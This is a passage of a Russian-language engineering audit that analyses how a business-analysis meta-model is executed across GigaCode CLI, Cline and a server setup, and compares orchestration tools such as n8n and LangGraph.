\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\u0417\u0434\u0435\u0441\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441 \u0413-26.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435 \u0432 Cline \u0438 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0443 \u0440\u043e\u043b\u0438\\n\u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u0447\u0438\u0442\u0430\u0442\u044c\\n\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u043e \u0441\u0440\u0435\u0434\u0438 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n\u0435\u0433\u043e \u043d\u0435\u0442, \u0430 `Actor` \u2014 \u044d\u0442\u043e \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a ([\u0413-26](#\u0433-26)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\\n\u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043c\u043e\u043b\u0447\u0430 \u0432\u0437\u044f\u043b \u043d\u0430 \u0441\u0435\u0431\u044f \u043a\u0442\u043e-\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0439: \u0432 GigaCode CLI \u2014\\n\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b. \u041e\u0442\u0441\u044e\u0434\u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b: \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 YAML\\n\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f ([\u0413-28](#\u0433-28)), \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0433\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 ([\u0413-29](#\u0433-29)), \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\\n\u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 ([\u0413-31](#\u0433-31)), \u0430 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\\n\u0437\u0430\u0434\u0430\u0447\u0443 ([\u0413-32](#\u0433-32)).\\n\\n**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0434\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u044f\u0434\u0440\u0435.**\\n\\n1. **\u0420\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410 (\u0441\u0440\u0435\u0434\u044b 1 \u0438 2).** \u041f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c `tools/run-task` \u0438\u0437\\n   \u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a\u0430 \u0432 \u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e: runner \u0441\u0430\u043c \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0437 Source,\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c, \u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\\n   \u00ab\u0447\u0442\u043e \u0434\u0430\u043b\u044c\u0448\u0435\u00bb \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u044f\u0437\u044b\u043a\u043e\u043c. GigaCode CLI \u0438 Cline \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n   \u0442\u0435\u043c, \u0447\u0435\u043c \u043e\u043d\u0438 \u0441\u0438\u043b\u044c\u043d\u044b, \u2014 \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\\n   \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440,\\n   \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0438 \u0442\u0435\u0441\u0442\u044b ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-1-\u0440\u0430\u0431\u043e\u0447\u0435\u0435-\u043c\u0435\u0441\u0442\u043e-\u0431\u0430)).\\n2. **\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430: \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\\n   \u0432 Postgres, \u0432\u044b\u0437\u043e\u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\\n   \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0442 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0443, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438. \u0414\u0432\u0438\u0436\u043e\u043a \u2014\\n   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n   \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438. \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0434\u043b\u044f \u0411\u0410 \u2014 \u0442\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API\\n   runner ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-2-\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f-\u0441\u0440\u0435\u0434\u0430-4)).\\n\\n**\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043f\u0440\u043e n8n \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e** ([\u0413-44](#\u0433-44)). n8n \u0445\u043e\u0440\u043e\u0448 \u043a\u0430\u043a\\n\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0444\u043e\u0440\u043c\u044b, \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira, \u0432\u044b\u0437\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437\\nOpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d \u0445\u0443\u0436\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e runner:\\n\u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432 n8n \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\\n\u0440\u044f\u0434\u043e\u043c \u0441 Source; \u0443\u0437\u0435\u043b AI Agent \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u2014 \u0442\u0430\\n\u0436\u0435 \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e \u0432 Cline; \u0430 \u043f\u043e\u0442\u043e\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n2026 \u0433\u043e\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u0438 \u0434\u0438\u0441\u0446\u0438\u043f\u043b\u0438\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u0412\\n\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u0430\u043a \u0441\u043b\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u043f\u043e\u0432\u0435\u0440\u0445 API runner, \u043d\u043e \u043d\u0435\\n\u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n- **\u0427\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n  [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n  \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n  [GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n  \u0438\\n  [Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-cline-vscode);\\n  \u0441\u0440\u0435\u0434\u044b 1\u20134 \u0438\u0437\\n  [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)\\n  \u0438 [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96);\\n  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n  \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.\\n- **\u0427\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439,\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0434\u0430\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Mango: \u0441\u0435\u0442\u044c,\\n  \u043f\u0440\u0430\u0432\u0430, \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence. \u0416\u0438\u0432\u043e\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043d\u0430 n8n \u0438\u043b\u0438 LangGraph\\n  \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u043b\u0441\u044f; \u0432\u044b\u0432\u043e\u0434\u044b \u043e \u043d\u0438\u0445 \u043e\u043f\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434.\\n- **\u0414\u043b\u044f \u043a\u043e\u0433\u043e.** \u0414\u043b\u044f \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0442\u0430\u0432\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0438 \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0433\u0435\u043d\u0442\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435\\n  \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0435\u0441\u0442\u044c \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b: \u043a\u0430\u043a\\n  \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0433\u0435\u0439\u0442 \u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c\\n  \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.\\n\\n## \u041c\u0435\u0442\u043e\u0434\\n\\n1. **\u0422\u0440\u0438 \u0441\u043b\u043e\u044f.** \u041a\u0430\u0436\u0434\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u043b\u043e\u044e: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n   (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0415](#\u0435-\u0441\u043b\u043e\u0439-1-\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c-\u0438-\u0435\u0451-\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f)),\\n   \u0441\u0440\u0435\u0434\u044b (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0416](#\u0436-\u0441\u043b\u043e\u0439-2-\u0441\u0440\u0435\u0434\u044b-\u0430\u0433\u0435\u043d\u0442-\u043a\u043b\u0438\u0435\u043d\u0442-\u043c\u043e\u0434\u0435\u043b\u044c-\u0447\u0435\u043b\u043e\u0432\u0435\u043a)),\\n   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430)).\\n2. **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430.** \u0421\u0442\u0440\u043e\u043a\u0438 \u043a\u043e\u0434\u0430 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 `main`; \u043f\u0440\u043e\u0431\u044b runner\\n   GigaCode `P10`\u2026`P12` \u0432\\n   [`experiments/issue_639_runner_probes.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py)\\n   \u0441 [\u0436\u0443\u0440\u043d\u0430\u043b\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log);\\n   \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2014 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f, \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434\\n   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 2026-09-29. \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b.\\n3. **\u0421\u0442\u0430\u0442\u0443\u0441\u044b.** \u00ab\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e\u00bb \u0438 \u00ab\u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e\u00bb \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438.\\n   \u00ab\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u00bb \u2014 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u0432\\n   \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435. \u00ab\u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u00bb \u2014 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043d\u0435\u0442, \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u043a\u0430\u043a\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n4. **\u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0442\u0438\u043f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438** \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438: \u0432\u044b\u0441\u043e\u043a\u0430\u044f,\\n   \u0441\u0440\u0435\u0434\u043d\u044f\u044f, \u043d\u0438\u0437\u043a\u0430\u044f; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c. \u0414\u043b\u044f \u0441\u043b\u043e\u044f 3\\n   \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0442\u0438\u043f **\u0432\u044b\u0431\u043e\u0440** \u2014 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043c\u0435\u0436\u0434\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438.\\n5. **\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0443\u0441\u043f\u0435\u0445\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.** \u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u0433\u043e\u0434\u0438\u0442\u0441\u044f 